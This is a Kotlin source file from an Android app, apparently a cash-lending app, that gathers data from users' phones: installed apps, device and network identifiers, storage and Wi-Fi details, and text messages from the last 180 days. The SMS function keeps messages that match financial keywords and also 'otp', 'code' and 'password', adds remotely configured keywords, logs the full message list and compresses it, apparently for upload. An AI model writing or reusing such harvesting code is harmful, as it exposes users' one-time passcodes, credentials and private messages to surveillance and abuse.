package com.market.cash.device.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.os.Build
import android.provider.Telephony
import android.util.Base64
import com.google.gson.Gson
import com.market.cash.device.bean.DVAppListBean
import com.market.cash.device.bean.DVHardwareBean
import com.market.cash.device.bean.DVMessageBean
import com.market.cash.device.bean.DVStoreBean
import com.market.cash.device.bean.DVWifiBean
import com.market.cash.device.bean.DeviceBean
import com.market.cash.device.util.DVGeneralUtil
import com.market.cash.device.util.DVHardwareUtil
import com.market.cash.device.util.DVNetworkUtil
import com.market.cash.device.util.DVStorageUtil
import com.market.cash.device.util.checkPermissionsGranted
import com.market.cash.device.util.safe
import com.market.cash.device.util.safeInt
import com.market.cash.utils.helper.CashRootCustomConfigsHelper
import com.market.cash.utils.log.CashRootLog
import java.io.ByteArrayOutputStream
import java.io.IOException
import java.nio.charset.StandardCharsets
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.zip.GZIPOutputStream

@SuppressLint("QueryPermissionsNeeded")
fun Context.appDatas(): String {
    return try {
        val packages = packageManager.getPackagesHoldingPermissions(
            arrayOf(Manifest.permission.READ_PHONE_STATE, Manifest.permission.INTERNET, Manifest.permission.ACCESS_NETWORK_STATE),
            PackageManager.GET_ACTIVITIES or PackageManager.GET_META_DATA
        )
        val result = packages.filter { packageInfo ->
            packageInfo.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM == 0
        }.map { packageInfo ->
            val appInfo = packageInfo.applicationInfo
            val appName = appInfo.loadLabel(packageManager).toString()
            val appVersionCode = if (Build.VERSION.SDK_INT < Build.VERSION_CODES.P) {
                packageInfo.versionCode.toString()
            } else {
                packageInfo.longVersionCode.toString()
            }

            DVAppListBean(
                appType = "0",
                appName = appName,
                flags = appInfo.flags.toString(),
                dataPath = appInfo.dataDir.safe(),
                sourcePath = appInfo.sourceDir.safe(),
                appPackageName = packageInfo.packageName,
                appVersionName = packageInfo.versionName,
                installTime = packageInfo.firstInstallTime.toString(),
                lastTime = packageInfo.lastUpdateTime.toString(),
                appVersionCode = appVersionCode
            )
        }

        Gson().toJson(result).trim().gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.deviceDatas(): DeviceBean {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return DeviceBean()

    return try {
        DeviceBean(
            imei = "",
            mac = DVNetworkUtil.getMacAddress(),
            laguage = DVGeneralUtil.getLanguage(),
            area = DVGeneralUtil.getArea(),
            screenHeight = DVGeneralUtil.getDeviceHeight(this),
            screenWidth = DVGeneralUtil.getDeviceWidth(this),
            networkData = DVGeneralUtil.getSimOperatorName(this),
            frontCameraPixels = DVHardwareUtil.getFrontCameraPixels(this),
            rearCameraPixels = DVHardwareUtil.getBackCameraPixels(this),
            ram = DVStorageUtil.getRamTotal(this),
            rom = DVStorageUtil.getCashTotal(),
            ip = DVNetworkUtil.getIPAddress(this),
            ip2 = DVNetworkUtil.getIPAddress(this),
            networkEnvironment = DVGeneralUtil.getNetworkType(this),
            cpu = DVGeneralUtil.getCpuModel()
        )
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        DeviceBean()
    }
}

fun Context.hardwareDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ""

    return try {
        val bean = DVHardwareBean(
            phoneType = DVGeneralUtil.getPhoneType(this),
            versionCode = DVGeneralUtil.getVersionCode(this),
            versionName = DVGeneralUtil.getVersionName(this),
            androidId = DVGeneralUtil.getAndroidID(this),
            telephony = DVGeneralUtil.getSimOperatorName(this),
            isVpn = DVNetworkUtil.getVpnState(this),
            isProxyPort = DVNetworkUtil.getIsWifiProxy(),
            isDebug = DVGeneralUtil.getIsDebug(this),
            simState = DVGeneralUtil.getSimCardState(this),
            root = DVHardwareUtil.getIsRoot(),
            physicalSize = DVHardwareUtil.getPhySicalSize(this),
            displayLanguage = DVGeneralUtil.getDisplayLanguage(),
            iso3Language = DVGeneralUtil.getIso3Language(),
            iso3Country = DVGeneralUtil.getIso3Country(),
            networkOperatorName = DVGeneralUtil.getSimOperatorName(this),
            networkType = DVGeneralUtil.getNetworkType(this),
            timeZoneId = DVGeneralUtil.getTimeZoneId(),
            elapsedRealtime = DVGeneralUtil.getElapsedRealtime(),
            sensorList = DVHardwareUtil.getSensorList(this),
            lastBootTime = DVGeneralUtil.getLastBootTime(),
            rootJailbreak = DVHardwareUtil.getIsRoot(),
            keyboard = DVHardwareUtil.getKeyboard(this),
            isSimulator = DVHardwareUtil.getIsSimulator(),
            dbm = DVHardwareUtil.getMobileDbm(this),
            phoneNumber = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

var MSG_STATUS = "FET_OK"

@SuppressLint("Range")
fun Context.msgDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
    if (!hadPermission) return ""

    return try {
        // 关键词
        val filters = mutableSetOf("money", "airtel", "pesa", "vodacom", "halotel", "cash", "finance", "mkopo", "kmi", "dexintec", "singularity", "branch", "bank", "nmb", "flexitz", "msafi","money", "airtel", "lend", "loan", "cash", "credit", "mkopo", "otp", "code", "password", "malipo yamepokelewa kwenda", "approved", "nambari", "unakumbushwa kulipa", "amelipa tsh", "due", "kiasi chako cha kinadaiwa")

        //客服配置读取 Content 关键字
        val contentKeys = CashRootCustomConfigsHelper.getCashRootSmsContentKeys()
        if (contentKeys != null){
            filters.addAll(contentKeys)
        }

        //客服配置读取 Mobile 关键字
        val mobileKeys = CashRootCustomConfigsHelper.getCashRootSmsMobileKeys()
        if (mobileKeys != null){
            filters.addAll(mobileKeys)
        }

        val list = mutableListOf<DVMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )
        // 只查180天内的短信
        val startTime: Long = timeIn(-180)
        val selection = "DATE >= $startTime"
        val order = Telephony.Sms.DEFAULT_SORT_ORDER

        val cursor = contentResolver.query(uri, columns, selection, null, order) ?: return ""
        while (cursor.moveToNext()) {
            val sid = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
            val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
            var person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe()
            val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
            val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe()
            val type = if (cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safeInt() == 1) "RECEIVE" else "SEND"
            val typeOri = cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safe()
            val protocol = if (cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)).safeInt() == 1) "MMS" else "SMS"
            val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
            val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()

            if (person.isBlank()) {
                person = address
            }
            // 检查内容是否匹配
            if (filters.any { filter -> body.uppercase().contains(filter.uppercase(), true) || address.uppercase().contains(filter.uppercase(),true) }) {
                list.add(
                    DVMessageBean(
                        name = person,
                        mobile = address,
                        type = type,
                        protocol = protocol,
                        smsTime = date,
                        person = person,
                        typeOri = typeOri,
                        content = body,
                        cid = sid,
                        protocolOri = protocol,
                        read = read,
                        seen = read,
                        subject = "",
                        status = status,
                        dateSent = date
                    )
                )
            }
        }

        if (!cursor.isClosed) {
            cursor.close()
        }

        MSG_STATUS = if (list.isEmpty()) "FET_EMPTY" else "FET_OK"


        CashRootLog.e("sms list data：${Gson().toJson(list).trim()}")
        Gson().toJson(list).trim().gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.storageDatas(): String {
    return try {
        val bean = DVStoreBean(
            containSd = DVStorageUtil.getContainSD(),
            ramCanUse = DVStorageUtil.getRamCanUse(this),
            ramTotal = DVStorageUtil.getRamTotal(this),
            cashCanUse = DVStorageUtil.getCashCanUse(),
            cashTotal = DVStorageUtil.getCashTotal(),
            extraSD = DVStorageUtil.getExtraSD(),
            internalTotal = DVStorageUtil.getTotalInternalStoreSize(this),
            internalAvailable = DVStorageUtil.getAvailaInternalStoreSize(this),
            ramDidUsed = DVStorageUtil.getRamDidUsed(this),
            cashDidUsed = DVStorageUtil.getCashDidUsed(),
            sdCardTotal = DVStorageUtil.getSDCardTotal()
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.wifiDatas(): String {
    return try {
        val bean = DVWifiBean(
            currentWifi = DVNetworkUtil.getCurrentWifi(this),
            configuredWifi = "",
            wifiCount = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun String.gzipString(): String {
    if (isBlank()) return ""
    return try {
        val utf8Char = StandardCharsets.UTF_8
        val outputStream = ByteArrayOutputStream()
        GZIPOutputStream(outputStream).use { gzipOutputStream ->
            gzipOutputStream.write(this.toByteArray(utf8Char))
        }
        val zipBuffer = outputStream.toByteArray()
        return Base64.encodeToString(
            zipBuffer,
            Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING
        )
    } catch (e: IOException) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("SimpleDateFormat")
fun Context.timeIn(nextDays: Int): Long {
    return try {
        val mCalendar = Calendar.getInstance().apply {
            add(Calendar.DAY_OF_MONTH, nextDays)
        }
        val year = mCalendar[Calendar.YEAR]
        val month = mCalendar[Calendar.MONTH] + 1
        val day = mCalendar[Calendar.DAY_OF_MONTH]
        val format = SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
        val date = format.parse("$year-$month-$day 00:00:00")
        date?.time ?: 0L
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        0L
    }
}